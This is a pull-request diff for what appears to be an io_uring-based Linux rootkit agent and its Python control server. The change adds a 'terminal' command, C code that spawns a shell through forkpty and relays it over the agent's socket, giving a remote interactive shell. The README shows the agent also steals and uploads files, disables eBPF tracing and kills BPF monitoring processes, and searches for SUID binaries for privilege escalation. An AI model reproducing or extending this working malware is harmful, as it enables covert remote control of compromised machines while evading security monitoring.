Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
agent
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ Rootkit Researchers
| `get` | Look files from the target | 100% io_uring |
| `put` | Upload files (uses `recv` on the agent side) | 100% io_uring |
| `killbpf` | Disable tracing, remove `/sys/fs/bpf` files and kill processes using `bpf-map` | traditional calls + io_uring |
| `terminal` | Get a PTS terminal | traditional calls + io_uring |
| `users` | List logged-in users by reading `utmp` | 100% io_uring |
| `ss` / `netstat` | List TCP connections from `/proc/net/tcp` | 100% io_uring |
| `privesc` | Search for SUID binaries using `statx` | 100% io_uring |
Expand Down
47 changes: 45 additions & 2 deletions agent.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,14 @@
#define BUF_SIZE 65536
#define RECONNECT_TIME 5

//macro to shorten code
#define SUBMIT_READ(ring, fd, buf) do { \
struct io_uring_sqe *s = io_uring_get_sqe(ring); \
io_uring_prep_read(s, fd, buf, 8192, 0); \
io_uring_sqe_set_data(s, buf); \
io_uring_submit(ring); \
} while (0)

int send_all(struct io_uring *ring, int sockfd, const char *buf, size_t len) {
size_t sent = 0;
while (sent < len) {
Expand Down Expand Up @@ -629,7 +637,39 @@ void cmd_killbpf(struct io_uring *ring, int sockfd) {

send_all(ring, sockfd, out, out_pos);
}
void cmd_terminal(struct io_uring *ring, int sockfd) {
pid_t child; int master_fd; char buf_sock[8192], buf_pty[8192];

if ((child = forkpty(&master_fd, NULL, NULL, NULL)) < 0) { write(sockfd, "pty spawn failed\n", 17); exit(1); }
if (!child) { const char *sh = getenv("SHELL"); if (!sh) sh = "/bin/sh"; execlp(sh, sh, (char *)NULL); _exit(127); }

fcntl(master_fd, F_SETFL, fcntl(master_fd, F_GETFL, 0) | O_NONBLOCK);
fcntl(sockfd, F_SETFL, fcntl(sockfd, F_GETFL, 0) | O_NONBLOCK);

SUBMIT_READ(ring, sockfd, buf_sock);
SUBMIT_READ(ring, master_fd, buf_pty);

while (1) {
struct io_uring_cqe *cqe; if (io_uring_wait_cqe(ring, &cqe) < 0) break;
void *data = io_uring_cqe_get_data(cqe); int res = cqe->res; io_uring_cqe_seen(ring, cqe);

if (data == buf_sock) {
if (res <= 0) { shutdown(master_fd, SHUT_WR); break; }
for (ssize_t w = 0; w < res;) {
ssize_t n = write(master_fd, buf_sock + w, res - w);
if (n < 0) { if (errno == EAGAIN || errno == EINTR) continue; shutdown(master_fd, SHUT_WR); break; }
w += n;
}
SUBMIT_READ(ring, sockfd, buf_sock);
} else {
if (res <= 0 || send_all(ring, sockfd, buf_pty, (size_t)res) <= 0) { shutdown(sockfd, SHUT_WR); break; }
SUBMIT_READ(ring, master_fd, buf_pty);
}
}

if (child > 0) { kill(child, SIGHUP); waitpid(child, NULL, 0); }
close(master_fd); close(sockfd); exit(0);
}
void process_cmd(struct io_uring *ring, int sockfd, char *cmd) {
sanitize_cmd(cmd);

Expand Down Expand Up @@ -665,7 +705,10 @@ void process_cmd(struct io_uring *ring, int sockfd, char *cmd) {
} else if (strncmp(cmd, "killbpf", 7) == 0) {
cmd_killbpf(ring, sockfd);

} else if (strncmp(cmd, "exit", 4) == 0) {
} else if (!(strncmp(cmd, "terminal", 8))) {
cmd_terminal(ring, sockfd);

}else if (strncmp(cmd, "exit", 4) == 0) {
cmd_exit(ring, sockfd);

} else {
Expand Down Expand Up @@ -764,4 +807,4 @@ int main(void)
io_uring_queue_exit(&ring);
printf("[+] Connection closed\n");
return 0;
}
}
3 changes: 2 additions & 1 deletion server.py
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,7 @@
get <path> - See file
put <local> <remote> - Upload file
killbpf - Kill processes that have bpf-map and delete /sys/fs/bpf/*
terminal - Get a pts terminal
users - View logged users
ss/netstat - View connections
ps - List processes
Expand Down Expand Up @@ -270,4 +271,4 @@ def main():
pass

if __name__ == "__main__":
main()
main()